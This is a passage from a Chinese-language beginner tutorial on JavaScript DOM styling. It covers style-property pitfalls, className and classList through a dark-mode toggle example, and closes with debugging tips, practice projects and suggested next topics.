div.style.font-size = '20px';,直接用 CSS 里的短横线属性名,导致 JS 语法报错。- 解决方案:严格按照驼峰命名法转换 CSS 属性名。
- 坑 2:赋值样式时忘记加单位,导致样式不生效 很多新手会写
div.style.width = 200;,忘记加 px,导致样式不生效。- 解决方案:除了 z-index、opacity、font-weight 这些无单位的属性,其他所有 CSS 属性,赋值时都必须带单位(px、%、em、rem 等)。
- 坑 3:用 style 读取非行内样式,得到空字符串 很多新手把样式写在 CSS 文件里,然后用
element.style读取,得到空字符串,以为代码出了问题。- 解决方案:要么把样式写在行内,要么用
window.getComputedStyle()读取最终样式。
- 解决方案:要么把样式写在行内,要么用
- 坑 4:频繁修改 style 属性,导致页面卡顿 很多新手会在循环里,频繁修改多个 style 属性,导致浏览器每次修改都要重新计算布局和渲染,触发多次重排重绘,页面卡顿。
- 解决方案:要么用 cssText 一次性设置多个样式,要么用 className 切换类名,只触发一次重排重绘。
4.3 类名样式操作:element.className 全维度极致解析
4.3.1 className 的底层本质:HTML class 属性的映射
我们之前说,HTML 里的 class 属性,在 JS 里对应的是 className 属性,现在我们把它的底层逻辑讲透。
class 是 HTML 里的核心属性,它的作用是给元素分组,给同一组元素设置相同的 CSS 样式。CSS 里的类选择器,就是通过 class 属性来匹配元素,给元素应用样式的。
浏览器在解析 HTML 的 class 属性时,会把它映射成元素对象的className属性,这个属性的值是一个字符串,就是 HTML 标签里 class 属性的完整内容,多个类名之间用空格分隔。
比如 HTML 里写了<div class="container light"></div>,那么div.className的值就是字符串"container light"。
当你用 JS 修改element.className的值时,浏览器会立刻同步更新 HTML 标签里的 class 属性,然后重新匹配 CSS 选择器,重新计算元素的样式,重新渲染页面。这就是类名样式操作的底层原理。
4.3.2 逐行代码解析:夜间模式切换案例
我们用之前的夜间模式切换案例,做逐行逐字符的极致解析,讲透每一个细节。
案例核心代码
<div class="container light">
这是一大段话. <br>
这是一大段话. <br>
这是一大段话. <br>
这是一大段话. <br>
</div>
<style>
* {
margin: 0;
padding: 0;
}
html,
body {
width: 100%;
height: 100%;
}
.container {
width: 100%;
height: 100%;
}
.light {
background-color: #f3f3f3;
color: #333;
}
.dark {
background-color: #333;
color: #f3f3f3;
}
</style>
<script>
var div = document.querySelector('div');
div.onclick = function () {
console.log(div.className);
if (div.className.indexOf('light') != -1) {
div.className = 'container dark';
} else {
div.className = 'container light';
}
}
</script>
逐行逐字符全解析
- HTML 部分:
<div class="container light">...</div>- 我们给 div 元素,设置了两个类名:
container和light,多个类名之间用空格分隔。 container类:负责布局样式,让 div 占满整个屏幕。light类:负责日间模式的颜色样式,浅灰色背景,深灰色文字。
- 我们给 div 元素,设置了两个类名:
- CSS 部分解析
*选择器:通配符选择器,匹配页面上所有元素,设置 margin 和 padding 为 0,清除浏览器的默认样式。html, body选择器:设置 html 和 body 的宽高为 100%,让它们占满整个浏览器窗口,这样里面的 container 才能继承高度,占满全屏。.container类选择器:设置宽高 100%,继承父元素的宽高,占满全屏。.light类选择器 :日间模式的颜色样式,背景色#f3f3f3(浅灰色),文字色#333(深灰色)。.dark类选择器 :夜间模式的颜色样式,背景色#333(深灰色),文字色#f3f3f3(浅灰色)。
- **JS 第一行:
var div = document.querySelector('div');**获取 div 元素对象,存到 div 变量里。 - **JS 第二行:
div.onclick = function () { ... }**给 div 注册点击事件,点击页面任意位置(因为 div 占满了全屏),就执行函数里的代码,切换日间 / 夜间模式。 - JS 第三行:
console.log(div.className);打印 div 当前的 className 值,方便我们调试,查看当前的类名。初始时,会打印"container light"。 - JS 第四行:
if (div.className.indexOf('light') != -1) {这是 if 条件判断,我们讲透每一个部分:div.className:当前的类名字符串,初始是"container light"。.indexOf('light'):字符串的 indexOf 方法,从左往右查找,看字符串里有没有包含'light'这个子串。如果找到了,返回它的起始索引;如果没找到,返回 - 1。!= -1:不等于 - 1,也就是找到了'light'子串,说明当前是日间模式,if 条件成立。
- JS 第五行:
div.className = 'container dark';当 if 条件成立时,执行这一行代码。把 div 的 className,重新赋值为'container dark'。- 核心注意事项:给 className 直接赋值,会完全覆盖 原来的所有类名。所以我们必须把
container类也带上,因为它负责布局样式,如果只写'dark',就会把container类覆盖掉,布局样式就没了,div 就不会占满全屏了。 - 赋值之后,浏览器会做这几件事:1. 更新 div 的 class 属性,变成
class="container dark";2. 重新匹配 CSS 选择器,div 现在会匹配.container和.dark类,不再匹配.light类;3. 重新计算元素的样式,把背景色和文字色换成.dark类里的样式;4. 重新渲染页面,页面就变成了夜间模式。
- 核心注意事项:给 className 直接赋值,会完全覆盖 原来的所有类名。所以我们必须把
- JS 第六行:
} else {else 分支,也就是 if 条件不成立的时候,也就是 className 里没有'light',说明当前是夜间模式,执行 else 里的代码。 - JS 第七行:
div.className = 'container light';把 div 的 className 重新赋值为'container light',换回日间模式的类名,页面就变回日间模式。 - JS 第八、九行:
}:闭合 else 分支和事件处理函数。
4.3.3 className 的弊端与进阶方案:classList API
className 虽然好用,但它有一个很明显的弊端:当元素有多个类名的时候,想要添加、删除、切换某一个类名,非常麻烦,需要自己拼接字符串,很容易出错。
比如,你想给 div 添加一个active类,用 className 的话,需要写div.className += ' active';,还要注意前面加空格;你想删除active类,需要用 replace 方法替换字符串,非常麻烦。
所以,ES6 给我们提供了一个更强大、更方便的 API:element.classList,它专门用来操作元素的类名,提供了几个非常好用的方法:
classList.add('类名'):给元素添加一个类名,不会影响其他已有的类名。- 示例:
div.classList.add('dark');,给 div 添加 dark 类,container 类会保留。
- 示例:
classList.remove('类名'):删除元素的一个类名,其他类名不受影响。- 示例:
div.classList.remove('light');,删除 light 类,container 类保留。
- 示例:
classList.toggle('类名'):切换类名,如果元素有这个类名,就删除它;如果没有,就添加它。这是切换状态最方便的方法。classList.contains('类名'):判断元素有没有这个类名,返回 true 或 false。
用 classList 重写我们的夜间模式切换代码,会变得非常简洁:
var div = document.querySelector('div');
div.onclick = function () {
// 直接切换dark类,有就删,没有就加
div.classList.toggle('dark');
// 同时切换light类
div.classList.toggle('light');
}
不用再做 if 判断,不用再拼接字符串,不用再担心覆盖掉 container 类,代码变得非常简洁优雅。
结语:从 "理解" 到 "精通",你只差无数次的 "动手调试"
恭喜你!看到这里,你已经把 JavaScript 操作 DOM 元素的核心知识,从底层浏览器原理到每一行代码的执行逻辑,全部彻底过了一遍。
我们再一起把这篇内容的核心脉络串起来,帮你把知识牢牢钉在脑子里:
- 根上的认知:DOM 不是你的 HTML 代码,而是浏览器在内存里生成的 "JS 对象树"。我们所有的操作,本质上都是在修改这棵树里的对象,然后浏览器自动同步更新页面渲染。
- 内容操作 :
- 纯文本用
innerText,安全且只关心用户看到的文字; - 要解析 HTML 结构用
innerHTML,强大但要注意 XSS 安全风险; - 表单元素的内容,永远用
value,且永远记得它是字符串类型!
- 纯文本用
- 属性操作 :
- 标准属性直接用
元素.属性名,简单方便; - 自定义属性用
setAttribute/getAttribute,灵活通用。
- 标准属性直接用
- 表单操作 :
value是核心,记得转数字;disabled控制状态,checked/selected控制选择,永远赋值布尔值。
- 样式操作 :
- 改一两个样式用
style,记得转驼峰、加单位; - 改多个样式,永远优先用
classList切换 CSS 类,这是最优雅、最符合规范的方式。
- 改一两个样式用
最重要的事:立刻动手写代码,在 Bug 里成长
DOM 操作是前端开发里最 "实战" 的部分,不是看会的,是 "调" 会的。哪怕你把这篇文章背下来,只要不动手写代码,你永远学不会 DOM。
你肯定会遇到这些情况:
- 获取元素返回
null------ 检查 JS 代码是不是写在了 HTML 元素前面? - 样式不生效 ------ 检查是不是忘记加单位?是不是 CSS 优先级不够?
- 点击事件不触发 ------ 检查是不是给元素列表绑定了事件,而不是给单个元素绑定?
- 数学运算变成了字符串拼接 ------ 是不是忘记把
value转成数字了?
这些 Bug 太正常了!每一个前端开发者都是在无数个这样的 Bug 里摸爬滚打成长起来的。遇到 Bug 不要慌,打开浏览器控制台,看报错信息,用 console.log() 打印变量,一步一步调试,你会发现解决 Bug 的过程,才是你进步最快的时候。
给你几个入门级的练手小项目,现在就打开编辑器,动手写:
- 点击切换图片:一张图片,点击一下切换成另一张,再点一下切回来。
- 简易计数器:一个显示数字的 div,两个按钮,一个 "+1",一个 "-1",点击按钮修改数字。
- 输入框实时显示:一个输入框,下面一个 div,用户在输入框里打字,div 里实时显示输入的内容。
- 全选反选:我们案例里的全选功能,自己从零写一遍,不要看代码。
- Tab 栏切换:几个 Tab 标题,点击不同的标题,下面显示对应的内容,隐藏其他内容。
后续的学习方向
搞定了 DOM 基础操作,你已经正式踏入了前端开发的大门,能够写出很多有交互的小页面了。接下来,你可以继续探索这些方向:
- DOM 进阶 :
- 事件冒泡与事件委托(这是优化性能、处理动态元素的神器);
- 动态创建与删除节点(
createElement、appendChild、removeChild); DocumentFragment优化批量插入性能;- 虚拟 DOM 的思想(理解现代前端框架的底层基础)。
- BOM :
window对象、location(页面跳转、URL 操作)、history(历史记录);localStorage和sessionStorage(浏览器本地存储);setTimeout和setInterval(定时器)。
- AJAX/Fetch :
- 让网页不刷新就能和服务器交换数据,这是现代 Web 应用的核心。
- 前端框架 :
- 当你能用原生 JS 写出一个复杂的 TodoList 或者小博客系统后,你会发现原生 JS 写复杂交互太繁琐了,这时候去学 Vue、React 等框架,你会深刻理解框架到底解决了什么痛点,而不是只会用框架的 API。
最后想说的话
前端开发是一个 "反馈感" 极强的领域,你写的每一行代码,都能立刻在页面上看到效果,这种正向反馈是非常美妙的。
不要怕写得烂,不要怕代码有 Bug,每一个大佬都是从 "烂代码" 开始的。保持好奇心,多动手,多思考,多查 MDN 文档,你会发现前端的世界越来越精彩,越来越有意思。
现在,关掉这篇文章,打开编辑器,开始写你的第一行 DOM 操作代码吧!我们在更精彩的前端世界里见。